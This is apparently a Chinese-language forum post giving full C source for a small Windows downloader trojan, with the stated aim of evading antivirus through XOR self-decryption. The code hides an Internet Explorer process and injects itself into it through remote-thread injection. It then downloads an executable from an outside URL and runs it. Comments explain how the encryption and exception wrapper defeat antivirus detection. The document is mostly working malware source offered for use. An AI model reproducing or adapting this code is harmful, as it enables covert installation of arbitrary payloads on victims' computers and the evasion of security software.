增加代码xor解密功能,以逃过杀毒软件.

生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.

参考delphi版本的下载者源代码，编出来有16K左右。压缩也有10K多，
于是写了VC的代码。按以下的设置，编译出来2K左右。
还可以可以再设置一下编译开关，以减小体积。

Ps:原代码中4处没有对\转义,以下代码编译通过;
编译出来16K,去掉4行注释,编译后3K(编译环境:Win2003+VC6.0)

 
#include <windows.h>

#pragma comment(lib,"user32.lib") 
#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释，可编译出2K大的文件 
//#pragma comment(linker, "/merge:.data=.text") 
//#pragma comment(linker, "/merge:.rdata=.text") 
//#pragma comment(linker, "/align:0x200") 
#pragma comment(linker, "/ENTRY:decrpt") 
#pragma comment(linker, "/subsystem:windows") 
#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数 
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数 
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行 
HANDLE processhandle; 
DWORD pid; 
HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数 
{ 
hshell=LoadLibrary("Shell32.dll"); 
hurlmon=LoadLibrary("urlmon.dll");

(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA"); 
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeee ... eeeeen/notepad.exe","c:\\ieinst12.exe",0, NULL); 
SHELLRUN(0,"open","c:\\ieinst12.exe",NULL,NULL,5); 
ExitProcess(0); 
};

void main() //主函数 
{ 
//1.得到IE路径,并运行 
char iename[MAX_PATH],iepath[MAX_PATH]; 
ZeroMemory(iename,sizeof(iename)); 
ZeroMemory(iepath,sizeof(iepath));

GetWindowsDirectory(iepath,MAX_PATH); 
strncpy(iename,iepath,3); 
strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE"); 
WinExec(iename,SW_HIDE); 
Sleep(500);

//2.得到 IE process handle 
HWND htemp; 
htemp=FindWindow("IEFrame",NULL); 
GetWindowThreadProcessId(htemp,&pid); 
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

//3.分配内存 
HMODULE Module; 
LPVOID NewModule; 
DWORD Size; 
LPDWORD lpimagesize;

Module = GetModuleHandle(NULL);//进程映像的基址 
//得到内存镜像大小 
_asm 
{ 
push eax; 
push ebx; 
mov ebx,Module; 
mov eax,[ebx+0x3c]; 
lea eax,[ebx+eax+0x50]; 
mov eax,[eax] 
mov lpimagesize,eax; 
pop ebx; 
pop eax; 
}; 
Size=(DWORD)lpimagesize; 
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置

//4.写内存，创建线程 
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据 
LPTHREAD_START_ROUTINE entrypoint; 
__asm 
{ 
push eax; 
lea eax,download; 
mov entrypoint,eax; 
pop eax 
} 
hkernel=LoadLibrary("KERNEL32.dll"); 
(FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); 
MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行

//5.关闭对象 
CloseHandle(processhandle);

return; 
} ;

//解密函数 
void decrpt() 
{

HANDLE myps; 
DWORD oldAttr; 
BYTE shellcode[500]; 
ZeroMemory(shellcode,sizeof(shellcode)); 
myps=GetCurrentProcess(); 
::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); 
//先把原代码,搬移到变量中保存起来 
_asm 
{ 
pushad; 
lea esi,download 
lea edi,shellcode; 
lea ecx,decrpt; 
sub ecx,esi; 
en1: 
lodsb; 
stosb; 
dec ecx; 
jne en1; 
popad;

};

//解密搬回 
int i; 
for (i=1;i<=0xFF;i++) 
{ 
_asm 
{ 
pushad; 
lea esi,shellcode; 
lea edi,download; 
lea ecx,decrpt; 
sub ecx,edi; 
en2: 
lodsb; 
mov ebx,i; 
xor al,bl; 
stosb; 
dec ecx; 
jne en2; 
popad;

};

//此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. 
__try 
{ 
main(); 
return; 
} 
__except(EXCEPTION_EXECUTE_HANDLER)

{

};

} 
return; 
};